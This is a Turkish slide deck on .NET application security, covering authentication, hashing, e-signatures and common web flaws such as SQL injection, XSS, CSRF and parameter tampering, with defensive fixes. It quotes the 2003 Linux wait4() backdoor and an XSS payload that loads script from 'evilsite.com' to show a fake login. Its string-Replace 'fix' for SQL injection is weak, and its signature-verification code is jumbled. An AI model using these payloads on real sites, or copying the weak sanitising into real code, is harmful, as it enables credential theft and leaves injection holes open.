2. .Net ile Yazılım Güvenliği
• Güvenli Uygulama ne demektir?
o Ağ Güvenliği
o Sistem Güvenliği
o Uygulama Güvenliği
o Veritabanı Güvenliği
o Disk Güvenliği
o Servis Güvenliği
o Kod Güvenliği
• Kriptografi (Şifreleme) Teknikleri
• Saldırıları Tanıma
• Korunma Yöntemleri
3. Neden güvenliğe
ihtiyacımız var?
1. Hidden Trapdoor in Linux, Nov 2003
Wait4() fonksiyonunun içine :
if( ((options == (-WCLONE | -WALL )) && (current -> uid = 0))
retval = -EINVAL;
Kullanımı : wait4(tmp,NULL,__WALL|__WCLONE,NULL);
2. ROB HARRIS CASE : Slot Machines
o Gaming Control Board ( bu cihazları test eden rob test ederken programa
kod ekleyip para atma sequence’ına gore kazanma durumuna geçiyor
makina)bir kiÅŸi bir seferde 100bin dolar kazanana kadar farkedilmiyor
3. CRISTOPHER HARN -> at yarışlarında telefon ile kayıt alan bir
sistemde telefon ÅŸirketinden itibaren kazanan kombinasyona
gore girişi değiştirecek kodu yazıyor.bir seferde 3milyon dolar
kazanana kadar farkedilmiyor)
4. Saldırıların artmasının
ardında yatan sebepler:
• Güvenlik konusunun akademik olarak tam anlamıyla
iÅŸlenmemesi
• Programlama kitaplarında güvenlik konularının
geçmemesi
• Oditing mekanizmasının olmaması (Attackların geç
farkedilmesi)
• C programlama dilinin unsafe çalışması*
• Programcılar üşengeçtirler, nasıl olsa buraya birşey olmaz
• Değiştirilmesi imkansız olan, içinde açıklar olan özellikle
eski programlar
• Müşterilerin güvenliği önemsememesi
• Güvenliğin sağlanması ek zaman ve maliyet gerektiriyor
5. Ağ ve Sistem Güvenliği
• Yazılımcı açısından bilinmesi gerekenler
• APN
• DOS Attacks .... Syn proxy ile korunma
• Windows Patches
• Malware & Virus
• Penetrasyon testi
7. Uygulama Güvenliği
• Anonymous Authentication: tüm kullanıcılar siteye erişir.
• Basic Authentication: Windows logini ile authentikasyon
yapılır. Siteye bağlanıldığında dialog box ile kullanıcı adı
şifre ekranı açılır.
• Digest Authentication: Basic Authentication gibi çalışır
fakat authentication verisi sunucuya açık metin yerine
hash kodu ile iletilir.
• Forms Authentication: ASP.NET’s kendi authentication
modelidir, login page ile giriş yapılmasını sağlar
• Windows Authentication: NTLM veya Kerberos üzerinden
Windows authentication protokolünü kullanır.
8. Uygulama Güvenliği
• web.config authorization
• Web.config authentication providers :
o Windows (default)
o Forms
o Passport
o None
<system.web>
<!-- mode=[Windows|Forms|Passport|None] -->
<authentication mode="Windows" />
</system.web>
• Event logging
9. Uygulama Güvenliği
• Sertifika kullanımı
o VERISIGN
o GEOTRUST
o COMODO
o GLOBALSIGN
o vs...
o TurkTrust : http://www.turktrust.com.tr/ssl-destek-iis7-ssl-yukleme.html
o E-Guven
o KamuSM
10. Kriptografi
• Hashing (MD5 => SHA-2(c# : SHA512Managed))
o Password Hashing
o URL Hashing
• Örnek uygulama...
13. Kriptografi
• E-İmza
• Kullanacağınız sertifikaları Devlet'in sertifika
dağıtmaya izin verdiği belirli ESHS adı verilen
kuruluşlardan alabilirsiniz. Bunların dışındaki yerlerden
aldığınız (Verisign gibi) sertifikalar yasal olarak
anlamlı değildir.
• https://yazilim.kamusm.gov.tr/
14. Kriptografi
• E-İmza ile nasıl imza atılır?
byte[] data = Encoding.Unicode.GetBytes(this.txtSend.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider();
byte[] hash = sha.ComputeHash(data);
//Create a new instance of DSACryptoServiceProvider.
//DSA contains asymmetric public and private key information
DSACryptoServiceProvider DSA = new DSACryptoServiceProvider();
//TODO, load the sender private key into DSACryptoService here.
//Create an DSASignatureFormatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureFormatter DSAFormatter = new DSASignatureFormatter(DSA);
//Set the hash algorithm to SHA1.
DSAFormatter.SetHashAlgorithm("SHA1");
//Create a signature from the hash
byte[] signature = DSAFormatter.CreateSignature(hash);
15. Kriptografi
• E-İmza nasıl doğrulanır?
byte[] data = Encoding.Unicode.GetBytes(this.txtRecieved.Text);
//sha1 crypto service, digital signatures are created from the hash
SHA1 sha = new SHA1CryptoServiceProvider(); byte[] hash =
sha.ComputeHash(data);
//Create an DSASignatureDeformatter object and pass it the
//DSACryptoServiceProvider to transfer the key information.
DSASignatureDeformatter DSADeformatter = new
DSASignatureDeformatter(DSA); //Create a new instance of
DSACryptoServiceProvider. //DSA contains asymmetric public and
private key information DSACryptoServiceProvider DSA = new
DSACryptoServiceProvider(); //TODO, the sender public key into
DSACryptoService here. //get the signature sent with the message
byte[] signature = GetMessageDigitalSignature(); //Verify the hash
and the signature if (DSADeformatter.VerifySignature(hash,
signature)) { MessageBox.Show("The signature was verified."); } else {
MessageBox.Show("The signature was not verified."); }
16. Kod Güvenliği
• Disassembler ile kodun açılmasına karşı önlemler
o .Net Protector
o IL Protector
o SmartAssembly
o Xenecode Fox
** Reflector ile açılmaya karşı önlem alınmamış exe/dll leri açar ve içindeki
kodu deÄŸiÅŸtirebiliriz.
*** Web projelerinde publish işleminden sonra oluşan ana kütüphane
parçalarını birleştirmek için : «aspnet_merge . -o ProjeAdi.dll» kullanırsınız.
Ana dll ve referans dll lerini SmartAssembly tarzı programlarla merge ve kod
encrypt yapabilirsiniz.
17. HttpHandler
• Dosyalara erişimi kontrol altına almak için
kullanılabilir.
• Portal sitelerinde ürün resmi üzerine brand eklemek
için kullanılabilir.
• Örnek uygulama...
18. WCF - Servis Güvenliği
• İstemci – Servis iletişimi güvenliği :
Message Level – Transport Level
• Authantication:Windows, Kullanıcı Adı/ Şifre,
X509(Sertifika), Özel(Biometric), None
• http://codebetter.com/petervanooijen/2010/03/22
/a-simple-wcf-service-with-username-password-
authentication-the-things-they-don-t-tell-you/
19. Sql injection
• Web Uygulama Güvenliği Konsorsiyum'una (WASC)
göre 27 Temmuz 2006 tarihine kadar medyada
rapor edilen hack olaylarının %9'u SQL Enjeksiyon
saldırılarından kaynaklanmıştı. Araştırmalarda elde
edilen daha güncel veriler web sitelerinin %50'sinin
SQL Injection saldırılarından etkilendiğini ortaya
koydu.
20. Sql injection
• En popüler otomatik web uygulama güvenliği
tarayıcılarından bazıları:
Acunetix
Watchfire
WebInspect
• Kaynak: http://www.acunetix.com/websitesecurity/
sql-injection2.htm
21. Sql injection
• Db üzerinden administrator hakkı ile neler yapılabilir?
o Install backdoors
o Transfer an entire database over port 80
o Install network sniffers to steal passwords and other sensitive data
o Crack passwords
o Enumerate your internal network, including scanning the ports of other
machines
o Download files
o Run programs
o Delete files
o Become part of a botnet
o Query autocomplete passwords stored on the system
o Create new users
o Create, delete and edit data; create and drop tables
22. Sql injection
• Nasıl korunurum ?
• 1.string safeSql = "select * from users where loginId = " + userInp
ut.Replace("—-", "") .Replace("'","''") .Replace("%","");
• 2. Parameterized Query / SP / sp_executesql
DECLARE @name varchar(20)
DECLARE @sql nvarchar(500)
DECLARE @parameter nvarchar(500)
/* Build the SQL string one time.*/
SET @sql= N'SELECT * FROM Customer WHERE FirstName Like @Na
me Or LastName Like @Name +''%''';
SET @parameter= N'@Name varchar(20)';
/* Execute the string with the first parameter value. */
SET @name = 'm%';
EXECUTE sp_executesql @sql, @parameter, @Name = @name;
• 3. Kullanıcının yetkilerini kısıtlama : DataReader, DataWriter
23. Cross-Site Scripting (XSS)
• Nedir? Kullanıcı browserına zararlı script enjekte etmektir.
• Reflected(js ile sayfaya script gömme) vs
Consistent(bu scriptin dbye yazılmasıdır artık geçmiş
olsun)
http://yoursite.com/editProduct.aspx?msg=Ürün bilgisi
güncellendi
<div class="messages"> <%=Request.QueryString["msg"]%><
/div>
Nasıl kullanılır?
msg=<script
src=/slideshow/net-ile-yazlm-gvenlii/24047516/‘http:/evilsite.com/evil.js’>ShowFakeLoginDialog()
İle kendi login ekranını açtırır, bu dialogu sitenin veya banka
login ekranına benzetir.
Hata 2 : <img onmouseover=alert([user supplied text])>
24. Cross-Site Scripting (XSS)
En çok forum sitelerinde karşılaşılır.string herhangi bir
değer html encoded dan geçmemiş ise bu saldırıya
açıktır.
Neler Yapabilirim :
• Cookilere ulaşırım
• Login bilgilerini alırım
26. Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 1. Outputlarımın HTML-Encoded olduğunu kontrol
etmeliyim.(HttpUtility.HtmlEncode, HttpUtility.UrlEncode)
• 2. Kullanıcının girdiği stringi HTML Element
attributelarına set etmem.
• 3. Request.Browser ile IE6 kullanımını kısıtlarım.
• 4. Web.configde veya pagede
ValidateRequest=‘false’ yapmamalıyım.
• 5. frame ve iframe’de security bilgisi ekle.
<frame security="restricted" src=/slideshow/net-ile-yazlm-gvenlii/24047516/"http:/www.somesite.com/somepage.htm"></frame>
27. Cross-Site Scripting (XSS)
• Nasıl korunurum ?
• 6. ASP.NET MVC 3’de
public class BlogEntry
{
public int UserId {get;set;}
[AllowHtml]
public string BlogText {get;set;}
}
28. Cross-Site Request
Forgery (CSRF)
Admin yetkisi ile yaptığın işlem ile ilgili olarak sana
gönderilen bir mail içinde
<img src=/slideshow/net-ile-yazlm-gvenlii/24047516/& />
kodu bulunuyor, farkında olmadan çalıştırmış
oluyorsun.
Nasıl önlerim?
GET ile herhangi bir operasyon yapacak kod
yazmamalıyım.
29. Cross-Site Request
Forgery (CSRF)
void Page_Init(object sender, EventArgs e)
{
if (Session.IsNewSession)
{
// Force session to be created;
// otherwise the session ID changes on every request.
Session["ForceSession"] = DateTime.Now;
}
// 'Sign' the viewstate with the current session.
this.ViewStateUserKey = Session.SessionID;
if (Page.EnableViewState)
{
// Make sure ViewState wasn't passed on the querystring.
// This helps prevent one-click attacks.
if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) &&
string.IsNullOrEmpty(Request.Form["__VIEWSTATE"]))
{
throw new Exception("Viewstate existed, but not on the form.");
}
}
}
30. Cross-Site Request
Forgery (CSRF)
MVC de CSRFi önlemek için ne eklemeliyim?
@using (Html.BeginForm())
{
@Html.AntiForgeryToken();
@Html.EditorForModel();
<input type="submit" value="Submit" />
}
Decorate any controllers that accept post data with the [Validat
e-AntiForgeryToken], like so:
[HttpPost]
[ValidateAntiForgeryToken()]
public ActionResult Index(User user)
{
...
}
31. Parametrelerle Oynama
(Parameter Tampering)
• http://server/EditUser.aspx?userID=15
string userId = Request.QueryString["userId"];
var user = LoadUser(userId);
Hata 2. Hidden da userID’yi tutmak
Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda
ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin).
• MVC’de binding security kontrolü için :
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit([Bind(Exclude="UserId")] Order order)
{ ....
Save();
}
32. Broken Authentication
and Session Management
• Tam olarak güvenliği sağlanmamış ( örneğin md5
veya benzeri bir algoritma ile korunmamış) oturum
nesneleri ve çerezlerinin ele geçirilip kötü amaçlar
için kullanılmasıdır.
33. Broken Authentication
and Session Management
• Kullanıcı şifreleri hashli veya encrypted mı tutuluyor?
• Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya
CSRF ile deÄŸiÅŸtirilebiliyor mu?
• Parameter tempering ile kullanıcı id değiştirilebiliyor
mu?
• Session timeout set edildi mi?
• Nasıl tespit ederim? Firefox HackBar plug-in’i kurar
ve kullanırım.
34. Insecure Direct Object
References
• Resourceslara veya sayfalara yetkisiz erişimi kontrol
etmeliyim.
• Sayfalara erişim için kontrol ettim ama resource
dosyalarına erişim için ne yapabilirim? httpHandler
• Nasıl tespit ederim? Burp Suite uygulaması ile
tarama yaparım.
35. Security Misconfiguration
• Path traversal bunlardan biridir. IIS de IISPool
kullanıcısı ile çalıştığından roota çıkamaz, kendi
userımı açıyorsan uygulama için o zaman klasor
yetkilendirmesini de yapmalıyım.
• OS, DB, Firewall, IIS güncellemelerini güncel
tutmalıyım.
• Kullanılmayan portlar, servisler, sayfalar, hesaplar ve
yetkiler kaldırılmalıyım, ayrılan kullanıcının
accountunu durdurmalıyım.
• Nasıl kontrol ederim? Watobo
36. Sensitive Data Exposure
(Hassas veriyi açıkta bırakma)
• Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri
gibi dataların açıkta bırakılmasından kaynaklanır.
Attackerların tespit etmesi kolay değildir.
• Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya
mali ne kadar bize zarar verir?
• İçerdeki saldırıları göz önünde bulundurmalıyım.